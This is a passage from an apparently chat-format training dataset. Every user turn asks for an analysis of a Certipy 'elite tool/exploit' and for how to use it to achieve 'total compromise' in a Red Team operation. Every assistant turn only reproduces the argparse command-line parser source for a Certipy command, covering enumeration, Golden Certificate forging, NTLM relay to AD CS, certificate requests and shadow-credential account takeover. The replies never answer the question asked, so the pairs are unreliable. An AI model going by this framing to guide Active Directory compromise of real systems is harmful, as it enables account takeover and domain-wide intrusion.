action=\"store\",\n metavar=\"outfile\",\n help=\"Output filename for the exported certificate/key\",\n )\n output_group.add_argument(\n \"-nocert\",\n action=\"store_true\",\n help=\"Don't include certificate in output (key only)\",\n )\n output_group.add_argument(\n \"-nokey\",\n action=\"store_true\",\n help=\"Don't include private key in output (certificate only)\",\n )\n output_group.add_argument(\n \"-export-password\",\n action=\"store\",\n metavar=\"password\",\n help=\"Password to protect the output PFX/P12 file\",\n )\n\n return NAME, entry\n\n<|im_end|>"} {"text": "<|im_start|>user\nAnalyze this elite tool/exploit from 'CERTIPY'. Explain the high-level attack vector (e.g., Kerberos manipulation, Kernel exploitation). Describe how to use this in a Red Team operation to achieve total compromise.\nFile: certipy/commands/parsers/find.py\n<|im_end|>\n<|im_start|>assistant\nREPO: CERTIPY\nCODE:\n\"\"\"\nParser for AD CS enumeration command.\n\nThis module defines the command-line interface for the 'find' command,\nwhich allows enumerating and analyzing Active Directory Certificate Services\ncomponents and configurations to identify security vulnerabilities.\n\"\"\"\n\nimport argparse\nfrom typing import Callable, Tuple\n\nfrom . import target\n\n# Command name identifier\nNAME = \"find\"\n\n\ndef entry(options: argparse.Namespace) -> None:\n \"\"\"\n Entry point for the find command.\n\n This function imports and calls the actual implementation of the find\n command from the certipy.commands module.\n\n Args:\n options: Parsed command-line arguments\n \"\"\"\n from certipy.commands import find\n\n find.entry(options)\n\n\ndef add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: # type: ignore\n \"\"\"\n Add the AD CS enumeration command subparser to the main parser.\n\n This function creates and configures a subparser for finding and analyzing\n Active Directory Certificate Services components, including certificate\n templates, enrollment services, and CA configurations.\n\n Args:\n subparsers: Parent parser to attach the subparser to\n\n Returns:\n Tuple of (command_name, entry_function) for command registration\n \"\"\"\n # Create the find subparser with description\n subparser = subparsers.add_parser(\n NAME,\n help=\"Enumerate AD CS\",\n description=(\n \"Discover and analyze Active Directory Certificate Services (AD CS) components. \"\n \"This command identifies vulnerable certificate templates, security misconfigurations, \"\n \"and potential certificate-based privilege escalation paths.\"\n ),\n )\n\n # Output options group\n output_group = subparser.add_argument_group(\"output options\")\n output_group.add_argument(\n \"-text\",\n action=\"store_true\",\n help=\"Output result as formatted text file\",\n )\n output_group.add_argument(\n \"-stdout\",\n action=\"store_true\",\n help=\"Output result as text directly to console\",\n )\n output_group.add_argument(\n \"-json\",\n action=\"store_true\",\n help=\"Output result as JSON\",\n )\n output_group.add_argument(\n \"-csv\",\n action=\"store_true\",\n help=\"Output result as CSV\",\n )\n output_group.add_argument(\n \"-output\",\n action=\"store\",\n metavar=\"prefix\",\n help=\"Filename prefix for writing results to\",\n )\n\n # Find options group\n find_group = subparser.add_argument_group(\"find options\")\n find_group.add_argument(\n \"-enabled\",\n action=\"store_true\",\n help=\"Show only enabled certificate templates\",\n )\n find_group.add_argument(\n \"-dc-only\",\n action=\"store_true\",\n help=(\n \"Collects data only from the domain controller. Will not try to retrieve \"\n \"CA security/configuration or check for Web Enrollment\"\n ),\n )\n find_group.add_argument(\n \"-vulnerable\",\n action=\"store_true\",\n help=\"Show only vulnerable certificate templates based on nested group memberships\",\n )\n find_group.add_argument(\n \"-oids\",\n action=\"store_true\",\n help=\"Show OIDs (Issuance Policies) and their properties\",\n )\n find_group.add_argument(\n \"-hide-admins\",\n action=\"store_true\",\n help=\"Don't show administrator permissions for -text, -stdout, -json, and -csv\",\n )\n\n # Identity options for cross-domain operation\n identity_group = subparser.add_argument_group(\"identity options\")\n identity_group.add_argument(\n \"-sid\",\n action=\"store\",\n metavar=\"object sid\",\n help=\"SID of the user provided in the command line. Useful for cross domain authentication\",\n )\n identity_group.add_argument(\n \"-dn\",\n action=\"store\",\n metavar=\"distinguished name\",\n help=\"Distinguished name of the user provided in the command line. Useful for cross domain authentication\",\n )\n\n # Add standard target arguments from shared module\n target.add_argument_group(subparser)\n\n return NAME, entry\n\n<|im_end|>"} {"text": "<|im_start|>user\nAnalyze this elite tool/exploit from 'CERTIPY'. Explain the high-level attack vector (e.g., Kerberos manipulation, Kernel exploitation). Describe how to use this in a Red Team operation to achieve total compromise.\nFile: certipy/commands/parsers/forge.py\n<|im_end|>\n<|im_start|>assistant\nREPO: CERTIPY\nCODE:\n\"\"\"\nParser for certificate forging command.\n\nThis module defines the command-line interface for the 'forge' command,\nwhich allows creating custom certificates by forging them with a compromised CA certificate.\n\"\"\"\n\nimport argparse\nfrom typing import Callable, Tuple\n\n# Command name identifier\nNAME = \"forge\"\n\n\ndef entry(options: argparse.Namespace) -> None:\n \"\"\"\n Entry point for the forge command.\n\n This function imports and calls the actual implementation of the forge\n command from the certipy.commands module.\n\n Args:\n options: Parsed command-line arguments\n \"\"\"\n from certipy.commands import forge\n\n forge.entry(options)\n\n\ndef add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: # type: ignore\n \"\"\"\n Add the certificate forging command subparser to the main parser.\n\n This function creates and configures a subparser for forging certificates\n with a compromised CA certificate, allowing creation of Golden Certificates\n that can be used for authentication and privilege escalation.\n\n Args:\n subparsers: Parent parser to attach the subparser to\n\n Returns:\n Tuple of (command_name, entry_function) for command registration\n \"\"\"\n # Create the forge subparser with description\n subparser = subparsers.add_parser(\n NAME,\n help=\"Create Golden Certificates or self-signed certificates\",\n description=(\n \"Forge certificates using a compromised CA certificate or generate a self-signed CA. \"\n \"This allows creating certificates for any identity in the domain or creating standalone certificate chains.\"\n ),\n )\n\n # CA certificate (optional, if not specified a self-signed root CA will be generated)\n subparser.add_argument(\n \"-ca-pfx\",\n action=\"store\",\n metavar=\"pfx/p12 file name\",\n help=\"Path to CA certificate and private key (PFX/P12 format). If not specified, a self-signed root CA will be generated\",\n )\n\n # CA certificate password\n subparser.add_argument(\n \"-ca-password\",\n action=\"store\",\n metavar=\"password\",\n help=\"Password for the CA PFX file\",\n )\n\n # Subject Alternative Name options\n san_group = subparser.add_argument_group(\"subject alternative name options\")\n san_group.add_argument(\n \"-upn\",\n action=\"store\",\n metavar=\"alternative UPN\",\n help=\"User Principal Name to include in the Subject Alternative Name\",\n )\n san_group.add_argument(\n \"-dns\",\n action=\"store\",\n metavar=\"alternative DNS\",\n help=\"DNS name to include in the Subject Alternative Name\",\n )\n san_group.add_argument(\n \"-sid\",\n action=\"store\",\n metavar=\"alternative Object SID\",\n help=\"Object SID to include in the Subject Alternative Name\",\n )\n san_group.add_argument(\n \"-subject\",\n action=\"store\",\n metavar=\"subject\",\n help=\"Subject to include in certificate, e.g. CN=Administrator,CN=Users,DC=CORP,DC=LOCAL\",\n )\n\n # Certificate content options\n cert_group = subparser.add_argument_group(\"certificate content options\")\n cert_group.add_argument(\n \"-template\",\n action=\"store\",\n metavar=\"pfx/p12 file name\",\n help=\"Path to template certificate to clone properties from\",\n )\n cert_group.add_argument(\n \"-issuer\",\n action=\"store\",\n metavar=\"issuer\",\n help=\"Issuer to include in certificate. If not specified, the issuer from the CA cert will be used\",\n )\n cert_group.add_argument(\n \"-crl\",\n action=\"store\",\n metavar=\"ldap path\",\n help=\"LDAP path to a CRL distribution point\",\n )\n cert_group.add_argument(\n \"-serial\",\n action=\"store\",\n metavar=\"serial number\",\n help=\"Custom serial number for the certificate\",\n )\n\n # Advanced certificate options\n cert_group.add_argument(\n \"-application-policies\",\n action=\"store\",\n nargs=\"+\",\n metavar=\"Application Policy\",\n help=\"Specify application policies for the certificate request using OIDs (e.g., '1.3.6.1.4.1.311.10.3.4' or 'Client Authentication')\",\n )\n cert_group.add_argument(\n \"-smime\",\n action=\"store\",\n metavar=\"encryption algorithm\",\n help=\"Specify SMIME Extension that gets added to CSR (e.g., des, rc4, 3des, aes128, aes192, aes256)\",\n )\n\n # Key options\n key_group = subparser.add_argument_group(\"key options\")\n key_group.add_argument(\n \"-key-size\",\n action=\"store\",\n metavar=\"RSA key length\",\n help=\"Length of RSA key (default: 2048)\",\n default=2048,\n type=int,\n )\n\n # Validity options\n validity_group = subparser.add_argument_group(\"validity options\")\n validity_group.add_argument(\n \"-validity-period\",\n action=\"store\",\n metavar=\"days\",\n help=\"Validity period in days (default: 365)\",\n default=365,\n type=int,\n )\n\n # Output options\n output_group = subparser.add_argument_group(\"output options\")\n output_group.add_argument(\n \"-out\",\n action=\"store\",\n metavar=\"output file name\",\n help=\"Path to save the forged certificate and private key (PFX format)\",\n )\n output_group.add_argument(\n \"-pfx-password\",\n action=\"store\",\n metavar=\"password\",\n help=\"Password to protect the output PFX file\",\n )\n\n return NAME, entry\n\n<|im_end|>"} {"text": "<|im_start|>user\nAnalyze this elite tool/exploit from 'CERTIPY'. Explain the high-level attack vector (e.g., Kerberos manipulation, Kernel exploitation). Describe how to use this in a Red Team operation to achieve total compromise.\nFile: certipy/commands/parsers/parse.py\n<|im_end|>\n<|im_start|>assistant\nREPO: CERTIPY\nCODE:\n\"\"\"\nParser for certificate template offline analyzer command.\n\nThis module defines the command-line interface for the 'parse' command,\nwhich enables offline analysis of AD CS certificate templates from registry data\nexported from domain controllers.\n\"\"\"\n\nimport argparse\nfrom typing import Callable, Tuple\n\n# Command name identifier\nNAME = \"parse\"\n\n\ndef entry(options: argparse.Namespace) -> None:\n \"\"\"\n Entry point for the parse command.\n\n This function imports and calls the actual implementation of the parse\n command from the certipy.commands module.\n\n Args:\n options: Parsed command-line arguments\n \"\"\"\n from certipy.commands import parse\n\n parse.entry(options)\n\n\ndef add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: # type: ignore\n \"\"\"\n Add the parse command subparser to the main parser.\n\n This function creates and configures a subparser for analyzing AD CS certificate\n templates from registry data, allowing offline enumeration of potentially\n vulnerable templates.\n\n Args:\n subparsers: Parent parser to attach the subparser to\n\n Returns:\n Tuple of (command_name, entry_function) for command registration\n \"\"\"\n # Create the parse subparser with description\n subparser = subparsers.add_parser(\n NAME,\n help=\"Offline enumerate AD CS based on registry data\",\n description=(\n \"Parse and analyze certificate templates from exported registry data. \"\n \"This allows assessment of AD CS security without direct domain access.\"\n ),\n )\n\n # Input file (positional argument, required)\n subparser.add_argument(\n \"file\", help=\"File to parse (BOF output or .reg file from registry export)\"\n )\n\n # Output format options\n output_group = subparser.add_argument_group(\"output options\")\n output_group.add_argument(\n \"-text\",\n action=\"store_true\",\n help=\"Output result as formatted text file\",\n )\n output_group.add_argument(\n \"-stdout\",\n action=\"store_true\",\n help=\"Output result as text directly to console\",\n )\n output_group.add_argument(\n \"-json\",\n action=\"store_true\",\n help=\"Output result as JSON\",\n )\n output_group.add_argument(\n \"-csv\",\n action=\"store_true\",\n help=\"Output result as CSV\",\n )\n output_group.add_argument(\n \"-output\",\n action=\"store\",\n metavar=\"prefix\",\n help=\"Filename prefix for writing results to\",\n )\n\n # Parse options for input interpretation and filtering\n parse_group = subparser.add_argument_group(\"parse options\")\n parse_group.add_argument(\n \"-format\",\n metavar=\"format\",\n help=\"Input format: BOF output or Windows .reg file (default: bof)\",\n choices=[\"bof\", \"reg\", \"oc2_bof\"],\n default=\"bof\",\n )\n parse_group.add_argument(\n \"-domain\",\n metavar=\"domain name\",\n help=\"Domain name. Only used for output context (default: UNKNOWN)\",\n type=lambda arg: arg.upper(),\n default=\"UNKNOWN\",\n )\n parse_group.add_argument(\n \"-ca\",\n metavar=\"ca name\",\n help=\"CA name. Only used for output context (default: UNKNOWN)\",\n default=\"UNKNOWN\",\n )\n\n # Security analysis options\n parse_group.add_argument(\n \"-sids\",\n metavar=\"sids\",\n help=\"Consider the comma separated list of SIDs as owned for vulnerability assessment\",\n type=lambda arg: list(map(str.strip, arg.split(\",\"))),\n default=[],\n )\n parse_group.add_argument(\n \"-published\",\n metavar=\"templates\",\n help=\"Consider the comma separated list of template names as published in AD\",\n type=lambda arg: list(map(str.strip, arg.split(\",\"))),\n default=[],\n )\n\n # Filter options\n filter_group = subparser.add_argument_group(\"filter options\")\n filter_group.add_argument(\n \"-enabled\",\n action=\"store_true\",\n help=\"Show only enabled certificate templates\",\n )\n filter_group.add_argument(\n \"-vulnerable\",\n action=\"store_true\",\n help=\"Show only vulnerable certificate templates based on nested group memberships\",\n )\n filter_group.add_argument(\n \"-hide-admins\",\n action=\"store_true\",\n help=\"Don't show administrator permissions for -text, -stdout, -json, and -csv output\",\n )\n\n bloodhound_group = subparser.add_argument_group(\n \"BloodHound\", description=\"Requires the 'bloodhound' extra to be installed\"\n )\n bloodhound_group.add_argument(\"-neo4j-user\", help=\"Username for neo4j\")\n bloodhound_group.add_argument(\"-neo4j-pass\", help=\"Password for neo4j\")\n bloodhound_group.add_argument(\n \"-neo4j-host\", help=\"Host for neo4j\", default=\"localhost\"\n )\n bloodhound_group.add_argument(\"-neo4j-port\", help=\"Port for neo4j\", default=7687)\n bloodhound_group.add_argument(\n \"-use-owned-sids\",\n help=\"Use the SIDs of all owned principals as the user SIDs\",\n action=\"store_true\",\n )\n\n return NAME, entry\n\n<|im_end|>"} {"text": "<|im_start|>user\nAnalyze this elite tool/exploit from 'CERTIPY'. Explain the high-level attack vector (e.g., Kerberos manipulation, Kernel exploitation). Describe how to use this in a Red Team operation to achieve total compromise.\nFile: certipy/commands/parsers/relay.py\n<|im_end|>\n<|im_start|>assistant\nREPO: CERTIPY\nCODE:\n\"\"\"\nParser for NTLM Relay command.\n\nThis module defines the command-line interface for the 'relay' command,\nwhich enables NTLM relay attacks against Active Directory Certificate Services\nHTTP endpoints for certificate theft and escalation.\n\"\"\"\n\nimport argparse\nfrom typing import Callable, Tuple\n\n# Command name identifier\nNAME = \"relay\"\n\n\ndef entry(options: argparse.Namespace) -> None:\n \"\"\"\n Entry point for the relay command.\n\n This function imports and calls the actual implementation of the relay\n command from the certipy.commands module.\n\n Args:\n options: Parsed command-line arguments\n \"\"\"\n from certipy.commands import relay\n\n relay.entry(options)\n\n\ndef add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: # type: ignore\n \"\"\"\n Add the NTLM relay command subparser to the main parser.\n\n This function creates and configures a subparser for relaying NTLM authentication\n to AD CS HTTP endpoints, enabling certificate theft and account takeover via\n certificate-based authentication.\n\n Args:\n subparsers: Parent parser to attach the subparser to\n\n Returns:\n Tuple of (command_name, entry_function) for command registration\n \"\"\"\n # Create the relay subparser with description\n subparser = subparsers.add_parser(\n NAME,\n help=\"NTLM Relay to AD CS HTTP Endpoints\",\n description=(\n \"Perform NTLM relay attacks against Active Directory Certificate Services. \"\n \"This allows obtaining certificates for relayed users and computers, \"\n \"which can be used for authentication and potential privilege escalation.\"\n ),\n )\n\n # Target CA (required)\n subparser.add_argument(\n \"-target\",\n action=\"store\",\n metavar=\"protocol://\",\n required=True,\n help=(\n \"protocol:// of certificate authority. \"\n \"Example: http://ca.corp.local for ESC8 or rpc://ca.corp.local for ESC11\"\n ),\n )\n\n # Certificate request parameters\n cert_group = subparser.add_argument_group(\"certificate request options\")\n cert_group.add_argument(\n \"-ca\",\n action=\"store\",\n metavar=\"certificate authority name\",\n help=(\n \"CA name to request certificate from. Example: 'CORP-CA'. \"\n \"Only required for RPC relay (ESC11)\"\n ),\n )\n cert_group.add_argument(\n \"-template\",\n action=\"store\",\n metavar=\"template name\",\n help=(\n \"If omitted, the template 'Machine' or 'User' is chosen by default \"\n \"depending on whether the relayed account name ends with '$'. \"\n \"Relaying a DC should require specifying the 'DomainController' template\"\n ),\n )\n\n # Subject Alternative Name options\n cert_group.add_argument(\n \"-upn\",\n action=\"store\",\n metavar=\"alternative UPN\",\n help=\"User Principal Name to include in the Subject Alternative Name\",\n )\n cert_group.add_argument(\n \"-dns\",\n action=\"store\",\n metavar=\"alternative DNS\",\n help=\"DNS name to include in the Subject Alternative Name\",\n )\n cert_group.add_argument(\n \"-sid\",\n action=\"store\",\n metavar=\"alternative Object SID\",\n help=\"Object SID to include in the Subject Alternative Name\",\n )\n cert_group.add_argument(\n \"-subject\",\n action=\"store\",\n metavar=\"subject\",\n help=\"Subject to include in certificate, e.g. CN=Administrator,CN=Users,DC=CORP,DC=LOCAL\",\n )\n\n # Certificate options\n cert_group.add_argument(\n \"-retrieve\",\n action=\"store\",\n metavar=\"request ID\",\n help=\"Retrieve an issued certificate specified by a request ID instead of requesting a new certificate\",\n default=None,\n type=int,\n )\n cert_group.add_argument(\n \"-key-size\",\n action=\"store\",\n metavar=\"RSA key length\",\n help=\"Length of RSA key (default: 2048)\",\n default=2048,\n type=int,\n )\n cert_group.add_argument(\n \"-archive-key\",\n action=\"store\",\n metavar=\"cax cert file\",\n help=\"Specify CAX Certificate for Key Archival. You can request the cax cert with 'certipy req -cax-cert'\",\n )\n cert_group.add_argument(\n \"-pfx-password\",\n action=\"store\",\n metavar=\"PFX file password\",\n help=\"Password for the PFX file\",\n )\n\n # Advanced certificate options\n cert_group.add_argument(\n \"-application-policies\",\n action=\"store\",\n nargs=\"+\",\n metavar=\"Application Policy\",\n help=\"Specify application policies for the certificate request using OIDs (e.g., '1.3.6.1.4.1.311.10.3.4' or 'Client Authentication')\",\n )\n cert_group.add_argument(\n \"-smime\",\n action=\"store\",\n metavar=\"encryption algorithm\",\n help=\"Specify SMIME Extension that gets added to CSR (e.g., des, rc4, 3des, aes128, aes192, aes256)\",\n )\n\n # Output options\n output_group = subparser.add_argument_group(\"output options\")\n output_group.add_argument(\n \"-out\",\n action=\"store\",\n metavar=\"output file name\",\n help=\"Path to save the certificate and private key (PFX format)\",\n )\n\n # Server configuration options\n server_group = subparser.add_argument_group(\"server options\")\n server_group.add_argument(\n \"-interface\",\n action=\"store\",\n metavar=\"ip address\",\n help=\"IP Address of interface to listen on (default: 0.0.0.0)\",\n default=\"0.0.0.0\",\n )\n server_group.add_argument(\n \"-port\",\n action=\"store\",\n metavar=\"port number\",\n help=\"Port to listen on (default: 445)\",\n default=445,\n type=int,\n )\n\n # Relay behavior options\n relay_group = subparser.add_argument_group(\"relay options\")\n relay_group.add_argument(\n \"-forever\",\n action=\"store_true\",\n help=\"Don't stop the relay server after the first successful relay\",\n )\n relay_group.add_argument(\n \"-no-skip\",\n action=\"store_true\",\n help=\"Don't skip previously attacked users (use with -forever)\",\n )\n relay_group.add_argument(\n \"-enum-templates\",\n action=\"store_true\",\n help=\"Relay to /certsrv/certrqxt.asp and parse available certificate templates\",\n )\n\n # Connection parameters\n conn_group = subparser.add_argument_group(\"connection options\")\n conn_group.add_argument(\n \"-timeout\",\n action=\"store\",\n metavar=\"seconds\",\n help=\"Timeout for connections in seconds (default: 10)\",\n default=10,\n type=int,\n )\n\n return NAME, entry\n\n<|im_end|>"} {"text": "<|im_start|>user\nAnalyze this elite tool/exploit from 'CERTIPY'. Explain the high-level attack vector (e.g., Kerberos manipulation, Kernel exploitation). Describe how to use this in a Red Team operation to achieve total compromise.\nFile: certipy/commands/parsers/req.py\n<|im_end|>\n<|im_start|>assistant\nREPO: CERTIPY\nCODE:\n\"\"\"\nParser for certificate request command.\n\nThis module defines the command-line interface for the 'req' command,\nwhich allows requesting certificates from Active Directory Certificate Services (AD CS).\n\"\"\"\n\nimport argparse\nfrom typing import Callable, Tuple\n\nfrom . import target\n\n# Command name identifier\nNAME = \"req\"\n\n\ndef entry(options: argparse.Namespace) -> None:\n \"\"\"\n Entry point for the certificate request command.\n\n This function imports and calls the actual implementation of the req\n command from the certipy.commands module.\n\n Args:\n options: Parsed command-line arguments\n \"\"\"\n from certipy.commands import req\n\n req.entry(options)\n\n\ndef add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: # type: ignore\n \"\"\"\n Add the certificate request command subparser to the main parser.\n\n This function creates and configures a subparser for requesting certificates\n from AD CS, including options for certificate templates, subject alternative names,\n and various enrollment methods.\n\n Args:\n subparsers: Parent parser to attach the subparser to\n\n Returns:\n Tuple of (command_name, entry_function) for command registration\n \"\"\"\n # Create the req subparser with description\n subparser = subparsers.add_parser(\n NAME,\n help=\"Request certificates\",\n description=(\n \"Request and retrieve certificates from Active Directory Certificate Services (AD CS). \"\n \"This command supports multiple enrollment protocols and certificate template types.\"\n ),\n )\n\n # CA name (required)\n subparser.add_argument(\n \"-ca\",\n action=\"store\",\n metavar=\"certificate authority name\",\n help=\"Name of the Certificate Authority to request certificates from. Required for RPC and DCOM methods\",\n )\n\n # Certificate request parameters\n cert_group = subparser.add_argument_group(\"certificate request options\")\n cert_group.add_argument(\n \"-template\",\n action=\"store\",\n metavar=\"template name\",\n default=\"User\",\n help=\"Certificate template to request (default: User)\",\n )\n\n # Subject Alternative Name options\n cert_group.add_argument(\n \"-upn\",\n action=\"store\",\n metavar=\"alternative UPN\",\n help=\"User Principal Name to include in the Subject Alternative Name\",\n )\n cert_group.add_argument(\n \"-dns\",\n action=\"store\",\n metavar=\"alternative DNS\",\n help=\"DNS name to include in the Subject Alternative Name\",\n )\n cert_group.add_argument(\n \"-sid\",\n action=\"store\",\n metavar=\"alternative Object SID\",\n help=\"Object SID to include in the Subject Alternative Name\",\n )\n cert_group.add_argument(\n \"-subject\",\n action=\"store\",\n metavar=\"subject\",\n help=\"Subject to include in certificate, e.g. CN=Administrator,CN=Users,DC=CORP,DC=LOCAL\",\n )\n\n # Certificate retrieval options\n cert_group.add_argument(\n \"-retrieve\",\n action=\"store\",\n metavar=\"request ID\",\n help=\"Retrieve an issued certificate specified by a request ID instead of requesting a new certificate\",\n default=None,\n type=int,\n )\n\n # Certificate request agent options\n cert_group.add_argument(\n \"-on-behalf-of\",\n action=\"store\",\n metavar=\"domain\\\\account\",\n help=\"Use a Certificate Request Agent certificate to request on behalf of another user\",\n )\n cert_group.add_argument(\n \"-pfx\",\n action=\"store\",\n metavar=\"pfx/p12 file name\",\n help=\"Path to PFX for -on-behalf-of or -renew\",\n )\n cert_group.add_argument(\n \"-pfx-password\",\n action=\"store\",\n metavar=\"PFX file password\",\n help=\"Password for the PFX file\",\n )\n\n # Key options\n cert_group.add_argument(\n \"-key-size\",\n action=\"store\",\n metavar=\"RSA key length\",\n help=\"Length of RSA key (default: 2048)\",\n default=2048,\n type=int,\n )\n cert_group.add_argument(\n \"-archive-key\", action=\"store_true\", help=\"Send private key for Key Archival\"\n )\n cert_group.add_argument(\n \"-cax-cert\",\n action=\"store_true\",\n help=\"Retrieve CAX Cert for relay with enabled Key Archival\",\n )\n cert_group.add_argument(\n \"-renew\", action=\"store_true\", help=\"Create renewal request\"\n )\n\n # Advanced certificate options\n cert_group.add_argument(\n \"-application-policies\",\n action=\"store\",\n nargs=\"+\",\n metavar=\"Application Policy\",\n help=\"Specify application policies for the certificate request using OIDs (e.g., '1.3.6.1.4.1.311.10.3.4' or 'Client Authentication')\",\n )\n cert_group.add_argument(\n \"-smime\",\n action=\"store\",\n metavar=\"encryption algorithm\",\n help=\"Specify SMIME Extension that gets added to CSR (e.g., des, rc4, 3des, aes128, aes192, aes256)\",\n )\n\n # Output options\n output_group = subparser.add_argument_group(\"output options\")\n output_group.add_argument(\n \"-out\",\n action=\"store\",\n metavar=\"output file name\",\n help=\"Path to save the certificate and private key (PFX format)\",\n )\n\n # Connection method options\n connection_group = subparser.add_argument_group(\"connection options\")\n connection_group.add_argument(\n \"-web\", action=\"store_true\", help=\"Use Web Enrollment instead of RPC\"\n )\n connection_group.add_argument(\n \"-dcom\", action=\"store_true\", help=\"Use DCOM Enrollment instead of RPC\"\n )\n\n # RPC-specific options\n rpc_group = subparser.add_argument_group(\"rpc connection options\")\n rpc_group.add_argument(\n \"-dynamic-endpoint\",\n action=\"store_true\",\n help=\"Prefer dynamic TCP endpoint over named pipe\",\n )\n\n # HTTP-specific options\n http_group = subparser.add_argument_group(\"http connection options\")\n http_group.add_argument(\n \"-http-scheme\",\n action=\"store\",\n metavar=\"http scheme\",\n choices=[\"http\", \"https\"],\n default=\"http\",\n help=\"HTTP scheme to use for Web Enrollment (default: http)\",\n )\n http_group.add_argument(\n \"-http-port\",\n action=\"store\",\n metavar=\"port number\",\n help=\"Web Enrollment port (default: 80 for http, 443 for https)\",\n type=int,\n )\n http_group.add_argument(\n \"-no-channel-binding\",\n action=\"store_true\",\n help=\"Disable channel binding for HTTP connections\",\n )\n\n # Add standard target arguments\n target.add_argument_group(subparser, connection_options=connection_group)\n\n return NAME, entry\n\n<|im_end|>"} {"text": "<|im_start|>user\nAnalyze this elite tool/exploit from 'CERTIPY'. Explain the high-level attack vector (e.g., Kerberos manipulation, Kernel exploitation). Describe how to use this in a Red Team operation to achieve total compromise.\nFile: certipy/commands/parsers/shadow.py\n<|im_end|>\n<|im_start|>assistant\nREPO: CERTIPY\nCODE:\n\"\"\"\nParser for Shadow Credentials command.\n\nThis module defines the command-line interface for the 'shadow' command,\nwhich allows manipulation of Key Credential links (Shadow Credentials) on\nActive Directory accounts for potential account takeover.\n\"\"\"\n\nimport argparse\nfrom typing import Callable, Tuple\n\nfrom . import target\n\n# Command name identifier\nNAME = \"shadow\"\n\n\ndef entry(options: argparse.Namespace) -> None:\n \"\"\"\n Entry point for the shadow command.\n\n This function imports and calls the actual implementation of the shadow\n command from the certipy.commands module.\n\n Args:\n options: Parsed command-line arguments\n \"\"\"\n from certipy.commands import shadow\n\n shadow.entry(options)\n\n\ndef add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: # type: ignore\n \"\"\"\n Add the shadow credentials command subparser to the main parser.\n\n This function creates and configures a subparser for managing Shadow Credentials\n (Key Credential Links) in Active Directory, including options for listing, adding,\n and removing credential links for account takeover.\n\n Args:\n subparsers: Parent parser to attach the subparser to\n\n Returns:\n Tuple of (command_name, entry_function) for command registration\n \"\"\"\n # Create the shadow subparser with description\n subparser = subparsers.add_parser(\n NAME,\n help=\"Abuse Shadow Credentials for account takeover\",\n description=(\n \"Manipulate Key Credential Links (Shadow Credentials) on Active Directory accounts. \"\n \"This allows for account takeover by adding or modifying Key Credential Links.\"\n ),\n )\n\n # Main action argument (required)\n subparser.add_argument(\n \"shadow_action\",\n choices=[\"list\", \"add\", \"remove\", \"clear\", \"info\", \"auto\"],\n help=(\n \"Operation to perform on Key Credential Links: \"\n \"list (view all), \"\n \"add (create new), \"\n \"remove (delete specific), \"\n \"clear (remove all), \"\n \"info (display detailed information), \"\n \"auto (automatically exploit)\"\n ),\n )\n\n # Target account options\n account_group = subparser.add_argument_group(\"account options\")\n account_group.add_argument(\n \"-account\",\n action=\"store\",\n metavar=\"target account\",\n help=(\n \"Account to target. If omitted, the user \"\n \"specified in the target will be used\"\n ),\n )\n account_group.add_argument(\n \"-device-id\",\n action=\"store\",\n metavar=\"device id\",\n help=\"Device ID of the Key Credential Link to target\",\n )\n\n # Output options\n output_group = subparser.add_argument_group(\"output options\")\n output_group.add_argument(\n \"-out\",\n action=\"store\",\n metavar=\"output file name\",\n help=\"Output file for saving certificate or results\",\n )\n\n # Add standard target arguments from shared module\n target.add_argument_group(subparser)\n\n return NAME, entry\n\n<|im_end|>"} {"text": "<|im_start|>user\nAnalyze this elite tool/exploit from 'CERTIPY'. Explain the high-level attack vector (e.g., Kerberos manipulation, Kernel exploitation). Describe how to use this in a Red Team operation to achieve total compromise.\nFile: certipy/commands/parsers/target.py\n<|im_end|>\n<|im_start|>assistant\nREPO: CERTIPY\nCODE:\n\"\"\"\nTarget Configuration Parser Module.\n\nThis module provides functions to add common target and authentication options\nto command parsers, ensuring consistent options across all Certipy commands\nwhen connecting to Active Directory services.\n\"\"\"\n\nimport argparse\nfrom typing import Optional\n\n\ndef add_argument_group(\n parser: argparse.ArgumentParser,\n connection_options: Optional[argparse._ArgumentGroup] = None,\n) -> None:\n \"\"\"\n Add common target, connection, and authentication arguments to a parser.\n\n This function adds standard options for connecting to Active Directory targets,\n including domain controllers, authentication methods, and network settings.\n\n Args:\n parser: The parser to add argument groups to\n connection_options: Optional existing argument group for connection options\n \"\"\"\n # Connection Options Group\n if connection_options is not None:\n conn_group = connection_options\n else:\n conn_group = parser.add_argument_group(\"connection options\")\n\n # Domain controller options\n _ = conn_group.add_argument(\n \"-dc-ip\",\n action=\"store\",\n metavar=\"ip address\",\n help=(\n \"IP address of the domain controller. If omitted, it will use the domain \"\n \"part (FQDN) specified in the target parameter\"\n ),\n )\n _ = conn_group.add_argument(\n \"-dc-host\",\n action=\"store\",\n metavar=\"hostname\",\n help=(\n \"Hostname of the domain controller. Required for Kerberos authentication \"\n \"during certain operations. If omitted, the domain part (FQDN) \"\n \"specified in the account parameter will be used\"\n ),\n )\n\n # Target machine options\n _ = conn_group.add_argument(\n \"-target-ip\",\n action=\"store\",\n metavar=\"ip address\",\n help=(\n \"IP address of the target machine. If omitted, it will use whatever was \"\n \"specified as target. Useful when target is the NetBIOS name and cannot be resolved\"\n ),\n )\n _ = conn_group.add_argument(\n \"-target\",\n action=\"store\",\n metavar=\"dns/ip address\",\n help=\"DNS name or IP address of the target machine. Required for Kerberos authentication\",\n )\n\n # DNS options\n _ = conn_group.add_argument(\n \"-ns\",\n action=\"store\",\n metavar=\"ip address\",\n help=\"Nameserver for DNS resolution\",\n )\n _ = conn_group.add_argument(\n \"-dns-tcp\", action=\"store_true\", help=\"Use TCP instead of UDP for DNS queries\"\n )\n\n # Connection options\n _ = conn_group.add_argument(\n \"-timeout\",\n action=\"store\",\n metavar=\"seconds\",\n help=\"Timeout for connections in seconds (default: 10)\",\n default=10,\n type=int,\n )\n\n # Authentication Options Group\n auth_group = parser.add_argument_group(\"authentication options\")\n\n # Credential options\n _ = auth_group.add_argument(\n \"-u\",\n \"-username\",\n metavar=\"username@domain\",\n dest=\"username\",\n action=\"store\",\n help=\"Username to authenticate with\",\n )\n _ = auth_group.add_argument(\n \"-p\",\n \"-password\",\n metavar=\"password\",\n dest=\"password\",\n action=\"store\",\n help=\"Password for authentication\",\n )\n _ = auth_group.add_argument(\n \"-hashes\",\n action=\"store\",\n metavar=\"[lmhash:]nthash\",\n 